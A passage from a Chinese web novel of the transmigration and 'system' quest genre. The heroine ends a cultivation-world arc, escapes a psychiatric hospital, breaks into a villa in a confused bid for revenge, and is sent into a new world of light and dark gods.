季白一步一步地走上前去,对上卫云台看过来的眼神,温柔慈悲,眼底似乎又隐藏着极深极深的爱意。 “师父。”季白跪倒在卫云台面前,搀着他极为虚弱的身体,他的皮肤白到几乎透明,仿佛在下一秒就会彻底消散。 “到底为什么?”季白问,“为什么要对我用替命咒?” 卫云台轻轻一笑,这一笑似乎放下了他所有的包袱,责任与伪装。 他轻声说:“真好。” “这一次死的人终于不再是你。” 74 第74章 这一次? 季白心下微惊,难道还有上一次吗? 季白想到了上一个副本,那个副本的男主们似乎也经历过不止一次的世界。 “师父的话是什么意思?”季白轻声问,“什么叫做这一次死的人不是我。” “难道在曾经的世界里,我死过吗?” 季白霎那间就想到了卫云台今天曾告诉她,他之前的功法出过问题,曾经功力尽失过。 那应当不是功法的问题,而是……是他逆转天命所付出的代价吧? 卫云台轻声说:“不重要了。” 一切都结束了,真相与否已经不重要了。 他只想要季白平平安安地活下去。 “怎么会不重要?!”季白泪流满面地问。 她自己都不知道她的眼泪为何而流,他只是她的一个任务对象,一个虚拟世界的角色,是生是死都只是一串随时可以重生的代码,她为什么要为这样的人流泪? 她心中无法抑制的澎湃情绪究竟从何而来? “你还是不肯承认吗?”季白哭着问,“你为了救我散尽修为,又为了救我吸纳其他修士的修为与生命,你为了我舍弃你的一切,背叛了你的信仰,哪怕为我做到这一步,你还是不肯承认爱我吗?” 这些质问,这些难过,这些不解,或许……是曾经生活在这个世界的季白的情绪,是曾经仰慕卫云台的季白的执念。 她爱上了一轮照耀众生的明月,月光温柔且美好,且就在她的眼前,就在她触手可及的位置。 那些若有若无的亲近让她以为月亮好似是她一个人的月亮,可后来又发现不是如此。 她迫切的,执着的,想要一个结果,想要他亲口承认爱她。 卫云台的手指蜷了蜷,说:“不全是为你。” 季白愣在原地,最后一滴泪顺着下巴润湿她的手背,冰凉湿润的泪水唤回季白的理智。 “世界会一次次被李承仙毁灭,我只是……只是在守卫苍生的路上顺便救了你。” 季白明明没有曾经的记忆,但她的心间竟诡异地升腾起一股熟悉的情绪,好像她曾经经受过无数次这样的瞬间。 又是这样,每当她确认自己在卫云台心中是特别的存在时,卫云台又会很快地告诉她,她与众生没有任何区别,甚至还会成为被舍弃的那一方。 季白压下心头这股莫名其妙的情绪,用理智的,平静的眼神审视着卫云台。 她不是曾经生活在这个副本的季白,不会有那些因太爱而患得患失的不安与纠结。 她很清楚的知道,卫云台在撒谎。 如果是顺便救她,用得着对她用至死方停的替命咒吗,用得着说那句这一次死的人终于不是她吗? “师父在撒谎。”季白轻声说。 卫云台垂下眼眸不看她,然而季白却不打算就这么放过卫云台,她掐住他的下巴强迫此时此刻正处于虚弱的卫云台抬起头来。 两人的视线在空中相汇,季白勾唇一笑,低声说:“我知道,我是师父的私心。” 卫云台的眼神微微一颤,胸膛不可控的开始剧烈颤动,季白正欲说话,却看见卫云台的身体发生了无比惊悚的异变。 一节乌黑的,柔软的,附着透明粘液的触手从他胯/下生出,很快双腿也异变为可怕的黑色触手,数根触手如交合的蛇一般紧紧交缠在一起,随后又快速融合合并为一团更大的肉柱。 肉柱还在不断生长,很快就长成了一个成年人的大小。 卫云台苍白的脸越发痛苦扭曲,脸上是豆大的汗水。 季白又急又怕,怕卫云台真的就这么死了。 “师父,你还好吗?”季白望着卫云台身上长出的那一节可怖怪物,考虑着要不要直接用剑砍下来。 她想起刚刚被迫异变的江茉哀求着让她杀了她的样子,江茉都受不了异变的痛苦与耻辱,宁愿死也不肯变成怪物。 何况……何况是一直在人前光辉圣洁的卫云台呢。 卫云台紧攥着季白的手,痛苦万分地快速说道:“快,杀了我!” 季白心神一颤,连连摇头。 “不,我做不到。” 无论是出于情感还是她的任务,她都做不到就这么杀了卫云台。 “你可以的。”卫云台颤着声音说,“你一定能做到,快,杀了我,不然一切都来不及了。” 季白紧攥着腰间的剑,心下踌躇不安,要动手吗,可一旦动手她的任务怎么办? 一个死去的人还能给她先天一气吗? 踌躇间,只见另一颗昳丽艳绝的头从刚刚异变而出的肉团中破茧而出,他血红的眼睛紧盯着卫云台,哈哈大笑道:“真没想到仙道魁首也会成为我的一部分,这天下,还有何人能拦我?” 很快,他的神色又变得无比痛苦。 他转过血红的眼睛紧盯着季白说:“仙人,对不起,我……我也不想这样的。” “我只是想和你永远在一起啊。” “哈哈哈,和我融为一体吧,成为我身体的一部分。” “这样就再也不会分开了。” 以李承仙为中心的血雾快速向四周扩散,所过之处,寸草不生,原本死去的妖魔仿佛受到了某种召唤一般再次破土而出,吞噬攻击着剩余的修士们。 刚刚劫后余生的欢腾场面瞬间又沦为血色地狱。 太清宗的主峰,丹霞峰,四象峰,依次在血雾的笼罩下成了寸草不生的荒山。 如果放任这股可怕的力量继续扩散,很快整个世界都会沦为妖魔横行的死地。 季白只觉右手一痛,就见卫云台神色痛苦地对她说。 “快!动手!” 季白心尖一颤,心头涌上万般不舍与难过。 李承仙的脸与卫云台的脸不断在她的脑海中来回浮现,她真的要动手吗? 可无论是李承仙还是卫云台都从未伤害过她,相反,他们一直对她很好很好。 季白只觉自己的心快要窒息了,到了这一刻她才发现,她宁愿迎接他们的恐怖与病态,都不想面对这样的场景。 爱比所有的恐怖,负面,痛苦都还要可怕百倍,后者她可以用它们给的每一次伤痛凝结成盔甲,毫不犹豫,毫不留情的战斗,可前者却让她坚不可摧的心生出柔软,而后又要她亲手剜出这片刚刚诞生的柔软,再生出看似坚强的盔甲。 这样的过程实在是太痛了。 如果李承仙曾经伤害过她,如果李承仙对她糟糕一点,她会毫不犹豫地射下这一箭,如果卫云台是一个表里不一的小人,如果卫云台和他们一样只想要独占她,她也会毫不犹豫地射下这一箭。 可他们都不是。 他们或许都曾对别人犯下不可饶恕的错误,却对她很好很好。 季白自己骗自己说,她才不是因为软弱的感情而犹豫,她只是……只是怕影响自己的任务而已。 好像这样说,她就还是那个为了任务不择手段,没有心的人。 可她的这一箭还是射出去了,射穿了李承仙的身体,也射穿了她的谎言。 如果她真的是为了任务。 她不该射这一箭,副本里生灵的生死与她何干,就算整个副本的世界都崩塌了,那又怎样? 她只需要像从前一样稳住李承仙,而后想办法从卫云台那儿得到他的先天一气,就能完成任务拍拍屁股走人。 可她还是射出去了。 她的犹豫和任务无关,她的决定和任务无关,所有翻涌的情绪只是因为他们,因为副本里的每一个人。 她手中流光溢彩的弓身在顷刻间变得黯淡无光,光箭驱逐恐怖的血雾重新带来希望的光明,李承仙扭曲,阴暗,可怖的身体在一寸寸的消解。 季白透过层层逐渐变得透明的血肉,好似又看见了曾救过她的平凡少年,他眉眼含笑地望着她,随后亦消失在了空气中。 卫云台的身体也逐渐变得透明,他们二人已成为一体,而光箭的威力是不可逆转的。 她刚刚用尽所有力量射出的一箭,也会让卫云台跟着一起消失。 世界得救了,她的任务弄砸了。 “小白。”一道温柔的声音从她的上首传来,季白抬眸去看,只见卫云台还未完全消散的身体飘到她的面前。 在她抬头的那一瞬间,卫云台俯身吻在了她的唇上。 这一吻来得太快,去得也太快,她还没有看清他眼中漾起的笑意,他的脸就如晨露在正午阳光的照耀下消失得无影无踪。 可额上滚烫的花钿与系统庆贺的提示音告诉她,她的任务完成了。 为什么呢? 季白后知后觉的有了答案。 他唯一的负面执念……是希望她活着吗? 【恭喜宿主成功通关副本渡苍生。】 【奖励……】 系统的话还没有说完就被季白打断了。 【等等。】 【宿主还有什么疑问吗?】 【卫云台一个副本中的人物都拥有可以回溯时光的能力,没道理我不行吧?】 系统并没有立即回答她的疑问,而是缓了片刻后换了另一个她熟悉的声音询问。 【你想做什么?】 【我想让这个世界重新启动。】 【抱歉,做不到。】 季白捏了捏指尖,说。 【为什么?卫云台是副本里的人都可以回溯时光,为什么我不行?】 【卫云台是副本里的人,而你是副本外的人。】 【你确定我是副本外的人?】 系统诡异地又沉默了。 【那我以本次副本世界中季白的身份呢,也做不到吗?】 系统的声音缓了缓,问。 【宿主究竟想做什么?】 季白望着横尸遍野的太清宗,轻声说。 【我只是想让副本里死去的人活过来。】 【这一点可以做到。】系统说,【但宿主需要付出代价。】 【什么代价?】季白问。 【我只能告诉你,如果你执意要复活本次副本中的人,那么你会在下一个副本中受到限制,特别提醒,下一个副本的难度会大大提升,请宿主慎重考虑。】 听起来不是一个划算的买卖,但如果一直计较得失的话,人生也会变得无趣。 季白想到帮助她的江成,江茉,还有那位死在戚流星手下的修士。 他们都是很好的人,不该就这么死去。 【我确定。】季白说,【我要救他们。】 【好,如果宿主确认的话那么我将会复活在宿主任务期间死去的所有人,特别提示不包括男主角们,请问宿主是否确认?】 【确认。】 季白有一点点遗憾死去的卫云台与李承仙,不过如果李承仙复活的话,他大概又会在修仙界掀起腥风血雨吧,而卫云台……如果知道他守护的人能平安无恙,也一定会开心的。 【好的。】 【恭喜宿主完成本次任务,奖励发放中。】 随着系统最后一个字的落下,季白又感受到了熟悉的眩晕感,在她闭上眼睛前的最后一秒,她好像看见了一路朝她狂奔而来的孟辞。 她的灵魂再一次被系统强行扯出,在虚无的黑暗中她仿佛看见无数的水晶碎片在上演着一幕幕所有不同的结局。 她是身负天命降身的天道之子,她天赋异禀,仙途顺畅,可与其他人不同的是,他们拥有千百种不同人生的结局,而她生下来就只有注定的一种。 她会扫清九州日益增多的妖魔,会涤清人类身上的邪气,会与集天地恶念所诞生的怪物同归于尽,让九州恢复从前的安乐祥和。 这是一个快乐的结局,她会奉献自己,让所有人幸福。 卫云台一早就知道她的命运,他抱着这样的目的收养了她,因是拯救世界的天道之子,他难免会对她多生几分关怀。 可谁料,她竟爱上了他。 他知道她是一个很受欢迎的人,与她一同长大的师兄,她的徒弟,以及她初次下山时对她一眼成痴,为爱入魔的魔尊。 命运真的是一个很神奇的东西,她日后要与之决战的宿敌是因她而强大的角色。 他以为他永生永世都只是守护苍生的太清仙尊,是不屑情爱的太清仙尊,可当她第一次面色苍白地死在他怀里时,他的心弦动了一下,他不明白这是为什么。 所有人生来就有自己的命,而他的任务就是引导着每个人走到该走到的地方,为苍生牺牲的人永远不止她一个,她天赋很高可他见过太多惊才绝艳的人,她心思纯正善良勇敢可这样的人太清宗也从来不缺,她爱他至深可他从不缺爱慕追随者,至于皮囊肉/体更是过眼云烟。 他想不明白,他的心弦到底为什么会动那么一下? 季白第一次死后的很久,天下太平,世间祥乐,可季白苍白的脸总是在他的脑海中挥散不去。 修行之人,随心而动。 他既然忘不掉,放不下,就该去找那个答案。 可惜时光回溯这样的逆天之法代价很大,就连他也不能做到尽善尽美,在每一次回溯的开始,他总是会忘记前尘,记忆只会随着时光的推进一点点的恢复。 他第一次回溯试着阻拦李承仙和季白的相遇,可是不行,第二次试图提前杀死李承仙,还是不行,第三次,第四次…… 他已经记不清回溯了多少次了,季白总是会一次又一次死在他的面前,好似是天道在嘲笑他的无能,又似是在告诉他谁也不能更改既定的命运。 她死了一次又一次,每一次都有卫云台在身边。 季白看见有一次的“季白”也和她一样发觉了不对,她攥着卫云台的手问为什么。 他温和的声音在虚空中回荡。 “你身负天命,本该救世而死完成你的使命,可你是我的徒弟,我……不想你死。” 她看见卫云台轻吻她死后冰冷的额头,温声说。 “别怕,无论一次二次,千次万次我都会救你,我不信,不信改不了你的命。” 她看见他圣洁超然的面容染上一分深入骨髓的执念。 “天命又如何,我修行万载,护佑众生,逆它一次又如何,如果真的有人要死,我替你。” 季白缓缓睁开眼,过量的庞大记忆冲刷着她的大脑,让她的头疼得几欲裂开。 很快,记忆随之淡去,头也缓缓恢复了平静,但那股翻涌的情绪还在她的心头回荡。 季白捂着心口问系统。 【是你收走了我的记忆?】 她刚刚明明记得很多,可转瞬间仿佛就忘了很多事。 【宿主现在的身体无法承载过多的记忆,如果强行记住身体会爆开的。】 季白望着窗外新出的嫩芽,轻声问。 【你到底是谁,我又是谁?】 系统是清除了很多她的记忆,但许是经过这次的修仙副本,她的身体有所强化,她竟然想起了关于第一个副本的事,想起了她在闻人府的第一世。 那实在不是一段愉快的记忆,那种压抑,沉闷,无处解脱,绝望的情绪一遍又一遍地冲刷着她的心,让她几乎快要又一次崩溃。 【我是系统。】 【宿主是季白。】 季白闭上眼,知道无论她再怎么问,系统都不会说了。 系统沉默了一会后,主动转移了话题。 【宿主不是想要从这里逃离吗?我可以帮你。】 【现在吗?】 提起这件事,季白的心情立即亢奋起来。 她要从这儿逃出去,她不是精神病人。 【随时可以开始。】 季白舔了舔唇,眼神中多了一分恨意与刻毒。 无论她是谁,她都不会忘了她还未报的仇。 季白在系统的帮助下成功逃离了精神病院,系统似乎可以精密地掌握所有电子化的设备,因而她一出门,系统就通过网络帮她叫了一辆车。 季白报出一个她这辈子死也不会忘的地址,司机大哥诧异地看了一眼季白,而后感叹道:“呦,你去璟宫啊,那儿的房子可不便宜吧,听说一栋都要好几亿呢。” “你住那儿?” 季白敷衍地应了一句,随后就拉低了帽檐,低着头不说话了。 司机多看了季白一眼,实在是这个地址的起点与终点都实在与众不同,精神病院和当地最豪华的别墅区。 后排的客人虽然戴着帽子,但仍能从裸露在外的皮肤与坐姿看出她清冷贵气的气质,一看就不是缺钱的主。 该不会是……豪门世家里被逼疯的大小姐要回去复仇吧? 司机开车的速度不算慢,可今日的路况实在不太好,因而等季白到达目的地时,天已经快黑了。 她下了车就往璟宫大门走,因有着系统的帮助,她很快就通过了璟宫的门禁系统。 当她赶到她记忆中的家时,屋内正灯火通明,隔着窗帘她依稀可以看见里面的人正言笑晏晏地坐在餐桌前享受晚餐的身影。 欢愉的笑声与谈话声传入她耳,激得季白紧紧攥住了手,恨不能进去将里面的人全杀了。 这里明明是她的家,可她却被他们关去了精神病院,在她饱受折磨的时候,在她被困在全是疯子的地狱里的时候,他们却代替她享受着她本该属于她的美好生活。 她的屋子,她的钱,她的自由,她的时间,全被他们剥夺了。 季白压下想要打砸一切的怒火,抬手敲门,只听屋内的欢笑声断了一下,随后就传来清浅的脚步声,很快,门被人从内打开了。 门后是一张极为陌生的脸,季白不认得,但不重要,看她的样子应当是这*里的管家。 “您找谁?”管家一脸警惕地望着她。 “檀国卫。” “檀国卫?!”管家皱了皱眉,说,“你找错了,我们这儿没这个人。” 她说落,就要把门关上。 季白立即情绪失控,尖锐地大喊了一声。 “你胡说!我知道他就在里面!” “你让他出来见我。” 四周熟悉的一切都快要将季白逼疯,她仿佛又回到了那些孤立无援的时刻,那些叫天不应,叫地不灵的时刻,她已经不想再和他们斗了,她只想让他们血债血偿。 她母亲的命,她所遭受的一切折磨都该让他们血债血偿。 “王妈,外面到底是什么人?” 王妈回头道:“不知道,是位年轻的姑娘来找檀国卫,我说咱这儿没有,她就发疯了。” “叫保安过来。”冷漠的声音顺着风传了过来,是季白刚刚听见的声音。 季白连忙踮起脚尖抬头看去,她透过那一点点缝隙清楚地看清了他的脸。 只这一眼就让季白顿时如遭雷劈。 她不可置信地站在那儿,怎么会……这样? 难道她真的是疯子? 75 第75章 不,绝无可能。 她刚刚明明听见了檀国卫的声音,为什么出来的却是一张陌生的脸。 对,她知道了。 一定是檀国卫在里面听见了她的声音,不敢出来见她,所以让别的男人出来应付她。 在季白怔愣的瞬间,眼前的大门已经再次关上了。 可季白的耳边仿佛还能听见檀国卫在里面说话的声音,他在笑,在庆贺他女儿今天取得的好成绩,在和他的新夫人谈论这个周末该去哪里游玩。 是他! 她没有听错。 季白上前一步,冷静地在脑海中询问系统。 【你能打开这栋房子的大门吗?】 【可以。】 她眼前的别墅大门摒弃了传统的门锁改换了安保等级最高的电子锁,可无论再高级的科技,只要与电子有关,在系统面前都是最低级的玩具,轻轻松松就能破开。 她正准备让系统打开门,直接闯进去查看情况,却见璟宫的安保人员已经冲过来了。 “你是什么人?到底是怎么进来的!” 季白假装纯良地说自己是跟着朋友们一起来的,由于第一次来,所以刚刚出来时找错地方了。 有系统的配合,加之季白的样子实在看起来不像是混进来的歹人,她的长相,气质就像是能随便在这儿买一栋别墅的有钱人。 安保很快放过了她,甚至还态度热情地说要帮她带路。 季白婉拒他们后,假装往另一个方向走去。 等天色彻底暗下,季白又返回了刚刚那栋别墅的门口。 在系统的帮助下,监控画面里完全检测不到她的身影。 她刚成功打开院门,正要抬脚进去,却突然有一双手抓住了她的手腕,阴沉的声音从她的背后幽幽响起。 “你要做什么?” 季白回过头去就看见了一张熟悉的脸,金丝边眼镜后的那双漂亮眼睛目光沉沉地盯着她。 许是来得匆忙,从来都梳得一丝不苟的发型竟有些凌乱,脱掉白大褂的陶嘉荣穿着一件纯手工定制的黑色风衣,里面是一件高领的白色毛衣,裁剪得体的黑色裤子下是一双擦得发亮的皮鞋,医院之外的陶医生越发显得矜贵清俊了。 “你想拦我?”季白早已不是当初的季白,她本就还算灵敏的身手在经过两个副本的锻炼后越发矫健不凡。 莫说是陶嘉荣一人,就算是三五个大汉也未必是她的对手。 季白一想到眼前的人极有可能与檀国卫一伙,心中就涌出一股不可遏制的怒意。 她无比狠辣地抬手扼住陶嘉荣的咽喉,威胁道:“别碍事,否则,我连你一起杀!” 季白说到这儿,嘴角还勾出一抹浅浅的笑。 “你是我的医生,我的病情你最清楚,我就算杀了你,也不会怎样。” 她的手力气很大,很快掐得陶嘉荣面色通红,但他仍然不肯放弃,断断续续地说:“如果你进去后,没有找到你想要找的人,你,就跟我回去。” 季白目光一凛,手不自知地加大了力气,掐得陶嘉荣直翻白眼。 “不可能!他就在里面!我听见了!” 陶嘉荣一字一句地问:“如果没有呢?” 季白愣了一下,随后松开了掐着他脖子的手,道:“如果没有,我跟你回去。” 季白说完转身就朝别墅走去,路上,她还特意询问了系统,在她刚刚去而复返的那段时间这栋屋子有没有人离开过,在得到系统肯定的答案后,季白心下稍宽。 她无比确定檀国卫就在里面。 季白在系统的帮助下再次打开别墅的门,距离门口最近的正是刚刚给季白开门的王妈。 她一脸惊恐地指着季白,尖声问:“你怎么进来的?” 季白懒得与她废话,抬手就打晕了她,紧接着是刚刚出现的男人,还有一位保养得当的中年妇女一脸惊恐地护着身后的孩子颤声质问:“你!你要做什么?” “檀国卫在哪?” “什么檀国卫,我们不认识!你找错地方了。” “来人!快来人!”男主人上前一步将自己的妻女都护至身后,一面退一面大喊大叫。 季白怕他们把更多人招来,立即上前把他们三人都打晕了。 其余的佣人们见季白一介身材清减的女子竟有这么大的力气,一时间竟不敢再上前。 季白怕他们跑出去找外面的安保求助,就打算把他们全部打晕。 他们其中有人想要通过电话,想要通过应急按钮求助,可有系统在,这儿已经成为了一个与外界彻底断连的孤岛。 她抓一个问一个,问一个打一个,可当别墅里的人都被她打晕后,她也没有找到她的仇人们,没有找到她记忆中的“亲人”。 别墅内部的装饰早已不是她记忆中的样子,曾经挂着全家福的地方换上了一幅世界知名的油画,别墅里随时可见的是另一家人的气息。 她疯了似得找遍了每一个地方,然而没有,她不可置信地后退,没有……都没有。 她愣愣地看着满地瘫倒的人,脑子陷入了迷乱,为什么会这样? “找到了吗?” 熟悉的声音从季白背后传来,季白猛地转过身子,乌黑的瞳孔在极度的惊惧下开始收缩。 她像是溺水的人看见了一条代表生的船。 “是你,是你对不对?是你给檀国卫通风报信,让他们离开了对不对?!” 季白又紧紧抱着头蹲下,喃喃自语。 “不,不可能,我刚刚明明听见了,而且,而且我问过了,这里没有人离开,可我为什么会找不到他?” “他们搬家了?那我刚刚听见的是什么?” “难道我真的有病?” “不,不可能,我有优秀的逻辑推理能力,我记忆力很好,我知道我在做什么,我很正常,我是正常人,我……怎么可能会是疯子呢?” 陶嘉荣眼神怜悯地望着蹲在地上抱头自语的季白,随后缓缓弯下腰,抬手摸上季白的头,轻声说:“谁告诉你精神病人是没有逻辑的疯子?” 季白缓缓抬起眼看向这位一直以来负责她病情的医生,她的记忆力很好,从前一次次的看诊经历在她眼前闪过,直至落回上一次她申请出院时的画面。 “季白,你没有家人。” 这句话不断在她脑海中重现,难道所有的一切,所有的痛苦,都是她的幻想,不,不可能,幻想怎么会精细到这一步? 如果是幻想她怎么会知道这栋别墅的布局? 陶嘉荣声音轻柔地同她说话。 “相反,历史上有很多比正常人聪明百倍的天才都患有精神病,他们也和你一样,从不认为自己有病,而是……” 他的话还没说完,季白就猛地站起来,瞪大眼睛说:“不,我没有问题,有问题的是你们,我知道是檀国卫害我,这一切都是他的阴谋,我会找到的,我会找到他的漏洞。” “我一定会找到的,我没有病!” 陶嘉荣看着她神情激愤的脸,竟低头轻笑了一声,随后似是气急了一般抓住季白的手腕就往外拉。 “来,你告诉我,你刚刚听见了什么。” 季白被陶嘉荣拉出了别墅,她似是迫切地想要证明自己没有问题一样,一股脑地就把她刚刚在外听见檀国卫声音的事告诉了陶嘉荣。 陶嘉荣指着青灰色的墙,指着灯火通明的别墅,大声质问:“你看看清楚!隔着庭院的墙,隔着几百平米的庭院,隔着别墅的墙,你能听见什么?你能听见什么?!” 季白望着眼前的一切,脸色一寸寸地灰败了下来。 听不见的,不止听不见,她也看不见。 隔着庭院的墙,最多只能看见二楼的房间,怎么可能看见一楼的客厅呢? 她的心一寸寸地沉了下去,仿佛坠入了无比阴寒又黑暗的深渊。 她幻听又幻视。 她……有病。 “现在愿意跟我回去了吗?”陶嘉荣问。 季白沉默着没有说话,如同在一瞬间被抽干了所有的力气,任由陶嘉荣把她拉上了车。 车外的建筑物如画般飞速地往后退,这一瞬间她甚至分不清,她记忆里的东西,到底哪些是真的,哪些是她的幻想。 难道那些鲜活的,深刻的记忆都是假的吗? 难道这么多年,她所有的仇恨与执念都只是自己编织的一个梦吗? 她突然想到了脑海中的系统,想到了她所经历的一个又一个的副本。 她突然有了一个大胆的想法。 “陶医生。”季白轻声问,“你说,宇宙中是不是存在着平行时空的可能?” 陶嘉荣脸色一变,下一刻,只见他猛踩刹车,尖锐刺耳的刹车声拉锯着季白的耳膜,一道强烈的白色光束照了过来,瞳孔被刺眼的白光所占据,下一瞬季白只觉眼前一黑,彻底晕了过去。 耳边再一次传来系统的声音。 【第三个副本世界神明之死已开启,本次任务时间为五年,请宿主抓紧时间尽快完成任务。】 【请宿主快速查看本次任务的通关条件。】 查看?为何这次不是系统直接报给她任务? 季白用力眨了眨眼睛,却发现眼前还是一片黑暗,她心中立刻涌上了一股不好的预感。 上次副本结束时,系统说她救助副本中的人会在下一个副本付出代价。 这个代价不会是……变成盲人吧? 这次的副本一听就难度极高,一个看不见的盲人要怎么完成任务? 【我看不见。】季白说,【难道这就是我需要付出的代价吗?】 季白只听见脑海中传来“滴”的一声,随后是系统稍显冷漠的声音。 【面板已为宿主打开。】 系统话音刚落,季白眼前就出现了一个类似于游戏任务栏的东西。 左上角是她的照片以及姓名,下方罗列着她本次的任务。 季白点了下任务栏,她的眼前瞬间出现了四条不同的任务线。 她点了下第一条,却只跳出了一个数字1,后面的文字被锁住了无法看清。 下面的三条都是如此。 季白一面关闭任务栏,一面问系统。 【任务呢,为什么点不开?】 【本次任务与四位不同的男主们有关,宿主遇见他们后,会自动解锁第一步任务。】 第一步?看来这次的任务颇为复杂,还需要一步步的解锁。 季白又随便点了下自己的照片玩,下一秒一个类似于游戏背包的东西就出现了。 左边是她目前的属性介绍,值得注意的是以她的形象绘制出的小人四周环绕着五个字——金木水火土。 这五个字只要是华国人都不会陌生,是古人认为的构成世界的五种元素。 其中只有木字亮着,其他的都是灰白的,像是还没点亮一样。 季白试探性地点了其中一个字,就见右侧背包里的一团蓝色光点就飞到了这个字的上面,水字就被点亮了。 系统适时解释道。 【宿主在上个副本中获得的先天一气会转换为对应的四种属性,本次副本中会有魔法因素,每一种魔法都有对应的属性,因而属性越多,可施展的魔法也就越多,实力也就越强。】 季白越来越觉得她过的每一个副本都有着极强的连接,她在上一个副本获得的东西似乎都会在下一个副本中用到。 季白视线右移,在背包里看见了戒指,弓箭,还有一个香甜可口的果实。 只不过那把弓箭此刻是黯淡的,像是游戏里已经损坏的装备一样。 【这把弓的能量在上个副本中已经用尽,所以暂时不能使用,等它自行恢复后,就可以继续使用。】 季白的目光落至最后一栏的帽子上,问。 【那个帽子是什么?】 【是可以令你隐形的帽子,是你的奖励。】 季白眼中闪过一抹惊讶。 【没想到啊,你这次很大方嘛,竟然还额外给了我奖励。】 【不过为什么这次会有额外的奖励?】 【因为你在上一个副本救了他们。】 季白一愣,随后问。 【你不是说我需要付出代价吗,怎么反而变成了奖励?】 【好人应该得到奖励。】 季白心尖一颤,好人…… 她已经很久很久没有听见别人这么说她了。 她垂下眼帘,想起了很久很久以前的事,那时的她坚信着善良会得到好报,母亲也告诉她要相信人与人之间的善,只要她们真心待人,诚心做事,自会此心光明,问心无愧。 母亲信奉“天道无亲,常与善人(注1)”,信奉“积善之家,必有余庆(注2)”,她也天真地相信那些美好的童话。 当她第一次被人恶意曲解哭着跑回家时,母亲也是笑着抱着她安慰说:“小白做得很好,错得是他,但我们不能控制别人的行为,只要做自己认为对的事就好。” 季白的母亲是一个很温柔的人,她一直坚持做认为对的事,也始终保持着一颗善心看待这个世界。 她是真的相信那句很傻的话,只要人人献出一点爱,世界就会变得更美好。 可她的善意,没有得到奖励,反而招来了祸患。 她有时候也很想问问她的母亲,如果她知道最后的结果,她会不会后悔? 系统的声音再次把季白拉回现实。 【宿主,如果没有疑问的话,即将为你开启传送。】 【没有疑问了。】 【传送吧。】 系统听到季白这一次这么干脆利落,竟然还有几分不适应了。 【这次怎么这么干脆,不罢工了?】 【没什么。】季白懒懒地关上了状态栏,【只是突然觉得游戏副本里也挺有意思的。】 至少在游戏里她不用面对沉闷的,压抑的现实,不用被人时时刻刻提醒着她是一个神经病。 系统没有说什么,略微停顿了三秒后就开启了本次的传送。 季白再一次体会到了天旋地转的拉扯感,下一秒她的耳边就先传来纷乱的议论声以及高喊的杀死她,杀死她。 【你的身份是光明神殿的预备圣女,但在三天前你被同为预备圣女的莉莉举报与黑暗势力有染,经过光明主教证实后,被判有罪的你即将要在众人面前被圣火净化。】 【请宿主尽快脱离危险。】 季白睁开眼就看见了下方发色各异,肤色苍白,高鼻深目的西方人,她被人倒吊着绑在金柱上,下面是一个金光灿灿的大碗,像是等着接她一样。 左右两侧则站着身着白袍的牧师,他们捧着一本书念念有词,随着每一个神秘字符的落下,季白就觉得四周的温度上升了一个度,随后,只听得“嘭”得一声,下方的金碗就冒出一团熊熊燃烧的红色火焰。 什么净化,这分明是要活活烧死她啊! 这个世界这么恐怖吗? 好歹也曾是预备圣女哎,就因为发现了和黑暗势力有染就要用这么残忍的方式公开处死她吗? 她拼了命地挣扎,可束缚她的是某种特殊材质的绳子,火烧不断,挣不脱,急得她真成了热锅上的蚂蚁。 一股热浪扑了上来,她倒垂的金色头发瞬间就被火点燃了,她立刻就闻到了一股焦味。 天呐,她不会真要一出场就挂了吧…… 难怪这次副本的名字里有一个死字呢,神明死不死她不知道,反正她是要死了。 在极致的恐惧中,季白感觉四周的一切仿佛都慢了下来,眼前的人,被烧焦的头发,赤红的火光都成了一幅幅被人缓慢翻动的画卷。 可缓慢的速度非但没有减轻季白的恐惧,反而让季白的心越发惊惧难熬了。 原本只是很快就能结束的酷刑,现在成了钝刀子割肉的恐惧,她能清楚地感受到一波一波袭来的热浪与身体即将被烤干的焦味,身上被火灼的疼痛如同小火慢煎般折磨着她。 突然,灼热的空气变得无比阴冷,她似乎在转瞬之间从火堆里来到了雪山,一道凉风吹过她的耳畔,似乎是有一个无形的人在对着她的耳朵吹冷风一样。 若是在正常情况下,季白定会惊惧地起上一身鸡皮疙瘩,可现在这股凉气却及时地缓解了她被火烤的疼痛。 按照她的经验,应当是这个副本中的某位男主来救她了。 “被冤枉的滋味,被火烧的滋味,不好受吧?” 一道缓慢的,低沉的声音在耳边响起。 这道声音又哑又沙,但不会让人觉得油腻,反而带着恰到好处的粘稠与气音。 她实在不知道用什么样的音色形容这道声音,但给她的感觉……就像是吃了春药一般,带着明晃晃的蛊惑与邀请。 明明说着这么残忍的话,却又忍不住让人心痒难耐,激起人们心中最原始的欲望。 “你是谁?” “这么快就把我忘了?我真是伤心啊。” “白,做光明神殿的圣女有什么意思?不如与我一起坠入永恒又迷人的黑暗,做黑夜的使徒。” 季白听到这儿,明白了一大半。 她之所以被认定与黑暗势力有染,被光明神殿用火烧,全是这小子的功劳。 “圣洁美丽即将沾染黑暗的灵魂啊,只要你回应我一声,我会虔诚热情地帮你杀了眼前的所有人,用鲜血与白骨欢迎你的加入。” “你还在犹豫什么?” “他们对你可半点不留情啊。” “瞧见了吗,背叛你的莉莉就站在那儿看着你笑了。” “一个告密的小人,嫉妒的奴隶,凭什么能踩着你的白骨当上圣女,而你……一直拒绝我的你,反而要被人烧死。” “对了,忘了告诉你。”他低低地笑了起来,“在你之前,她就先你一步拥抱永恒的黑暗了哦。” “来吧,与我一起滚入黑暗吧,黑暗会给你想要的一切。” 季白半晌没有说话,目光直勾勾地看着眼前的任务栏。 第二个任务已经解锁了。 属于黑暗神的那条任务线亮了起来,前半部分的文字在季白眼前缓缓显现。 成功欺骗玩弄黑暗神赫瑞特诅科奈一次。 系统的电子音再次在季白耳中响起。 【普通的欺骗并不会被计入,必须要激起黑暗神的情绪波动,让他感受到被欺骗玩弄的愤怒。】 这次的任务真的很特别很大胆啊。 “你是黑暗神赫瑞特诅科奈?”季白问。 那道声音沉默了片刻,随后开始尖利地放声大笑。 “一个小小的预备圣女竟敢妄想自己会引起伟大超凡,无所不知,永垂不朽的黑暗之神赫瑞特的注意吗?” 季白:…… 这个黑暗神不仅有病,还很自恋。 明明就是黑暗神赫瑞特,还自卖自夸说自己伟大。 不过他不肯承认季白也不着急,反而故意和他周旋了起来。 “哦,那你是谁?” “让我加入黑暗也行,但我在光明神殿这边好歹也是预备圣女,你给我的职位总不能太低吧?” 【作者有话说】 注1:天道无亲,常与善人——出自《老子》注2积善之家,必有余庆——出自《周易》 76 第76章 “我吗?” “我只是赫瑞特大人身边的一个普通恶魔。” 